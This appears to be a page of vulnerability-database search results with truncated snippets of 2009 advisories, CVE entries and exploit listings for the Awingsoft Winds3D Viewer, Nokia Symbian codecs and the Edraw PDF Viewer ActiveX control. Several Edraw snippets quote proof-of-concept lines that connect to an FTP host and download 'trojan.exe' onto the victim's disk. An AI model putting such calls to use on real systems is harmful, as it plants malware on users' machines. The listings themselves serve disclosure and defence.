10868 matches found
CVE-2009-2386
The CVE-2009-2386 entry concerns Awingsoft Awakening Winds3D Viewer plugin (Winds3D Viewer) for/versions 3.5.0.0 and 3.0.0.5 (and possibly others). The vulnerability lies in the GetURL method, which insecurely downloads and executes arbitrary files when invoked, allowing remote attackers to trigg...
CVE-2009-2386
Insecure method vulnerability in Awingsoft Awakening Winds3D Viewer plugin 3.5.0.0, 3.0.0.5, and possibly other versions allows remote attackers to force the download and execution of arbitrary files via the GetURL method...
Awingsoft Awakening Winds3D Viewer unauthorized access
Code execution, file system access...
Nokia Phones RealPlayer and MMS Viewer Memory Corruption Issues
Nokia Phones RealPlayer and MMS Viewer Memory Corruption Issues Title : Nokia Phones RealPlayer and MMS Viewer Memory Corruption Issues VUPEN ID : VUPEN/ADV-2009-1815 CVE ID : GENERIC-MAP-NOMATCH CWE ID : CWE-119 Rated as : Critical Remotely Exploitable : Yes Locally Exploitable : Yes Release Dat...
Symbian S60多媒体处理内存破坏漏洞
BUGTRAQ ID: 35590 Symbian S60是诺基亚智能手机所使用的操作系统。 S60操作系统的RealPlayer和彩信查看器所使用的多媒体处理代码中存在多个内存破坏漏洞，远程攻击者可以通过发送嵌入了视频文件的彩信来触发这些漏洞，导致控制程序计数器寄存器，在目标手机上执行任意代码。 以下函数库中存在这个漏洞： rarender.dll STH264HWDecHwDevice.dll clntcore.dll HxMmfCtrl.dll mdfh264payloadformat.dll MMFDevSound.dll ArmRV89Codec.dll Nokia Symbi...
[Full-disclosure] CORE-2009-0519 - Awingsoft Awakening Winds3D Viewer remote command execution vulnerability
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ Awingsoft Awakening Winds3D Viewer remote command execution vulnerability 1. Advisory Information Title: Awingsoft Awakening Winds3D Viewer remote command execution...
SEC Consult SA-20090707-0 :: Symbian S60 / Nokia firmware media codecs multiple memory corruption vulnerabilities
SEC Consult Security Advisory 20090707-0 ========================================================================== title: Symbian S60 / Nokia firmware media codecs multiple memory corruption vulnerabilities vulnerable version: All Nokia smartphones with multimedia capabilities are likely...
[SECURITY] Fedora 10 Update: poppler-0.8.7-6.fc10
Poppler, a PDF rendering library, is a fork of the xpdf PDF viewer developed by Derek Noonburg of Glyph and Cog, LLC...
Edraw PDF Viewer ActiveX Control Insecure Method Vulnerability
This host is installed with Edraw PDF Viewer ActiveX Control and is prone to Insecure Method vulnerability. OpenVAS Vulnerability Test $Id: secpodedrawpdfvieweractvxctrlvuln.nasl 5369 2017-02-20 14:48:07Z cfi $ Edraw PDF Viewer ActiveX Control Insecure Method Vulnerability Authors: Sharath S...
Edraw PDF Viewer ActiveX Control Insecure Method Vulnerability
Edraw PDF Viewer ActiveX Control is prone to Insecure Method vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
Design/Logic Flaw
Insecure method vulnerability in the PDFVIEWER.PDFViewerCtrl.1 ActiveX control pdfviewer.ocx in Edraw PDF Viewer Component before 3.2.0.126 allows remote attackers to create and overwrite arbitrary files via a URL argument to the FtpConnect argument and a target filename argument to the...
CVE-2009-2169
Insecure method vulnerability in the PDFVIEWER.PDFViewerCtrl.1 ActiveX control pdfviewer.ocx in Edraw PDF Viewer Component before 3.2.0.126 allows remote attackers to create and overwrite arbitrary files via a URL argument to the FtpConnect argument and a target filename argument to the...
CVE-2009-2169
CVE-2009-2169: In Edraw PDF Viewer Component, the PDFVIEWER.PDFViewerCtrl.1 ActiveX control (pdfviewer.ocx) before 3.2.0.126 contains an insecure method vulnerability. An attacker can remotely create and overwrite arbitrary files by passing a URL argument to FtpConnect and a target filename to Ft...
Edraw PDF Viewer Component Code Execution
Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component target.FtpConnect "ftp://192.168.220.201", "test", "tester" target.FtpDownloadF...
Edraw PDF Viewer Component < 3.2.0.126 ActiveX Insecure Method vulnerability
No description provided by source. Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component 3.2.0.126 other version may also be affected Overview: "Edraw PDF Viewer Component is a ligh...
[Full-disclosure] Edraw PDF Viewer Component ActiveX Remote code execution vulnerability
Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component 3.2.0.126 other version may also be affected Overview: "Edraw PDF Viewer Component is a light weight ActiveX Control which...
Edraw PDF Viewer ActiveX unauthorized access
FtpConnect method allowd to upload any file to any location...
Edraw PDF Viewer Component 3.2.0.126 - ActiveX Insecure Method
Edraw PDF Viewer Component 3.2.0.126 - ActiveX Insecure Method Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component target.FtpConnect "ftp://192.168.220.201", "test", "tester"...
Edraw PDF Viewer Component < 3.2.0.126 - ActiveX Insecure Method
Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component target.FtpConnect "ftp://192.168.220.201", "test", "tester" target.FtpDownloadFile "trojan.exe", "C:\Documents and Settings\All...
Edraw PDF Viewer Component < 3.2.0.126 ActiveX Insecure Method Vuln
No description provided by source. Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component 3.2.0.126 other version may also be affected Overview: "Edraw PDF Viewer Component is a ligh...